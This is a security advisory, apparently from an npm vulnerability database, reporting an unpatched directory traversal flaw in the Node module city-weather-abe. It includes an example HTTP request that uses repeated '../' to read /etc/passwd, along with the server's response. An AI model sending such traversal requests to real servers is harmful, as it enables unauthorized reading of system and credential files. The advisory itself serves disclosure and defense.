Directory Traversal

Module: city-weather-abe

Published: October 25th, 2017

Reported by: Liang Gong

CVE-NONE

CWE-26

Vulnerable: All
Patched: None

Overview

city-weather-abe is a server that returns the weather from cities in Utah.

city-weather-abe is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.

Example Request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:localhost

and the server's Response

HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}

Remediation

Because there is no fix currently, we recommend using a different module.

References

Sign up FREE for
nsp Continuous Security

Free for open source and the first private repo,
then just $1/mo per private repo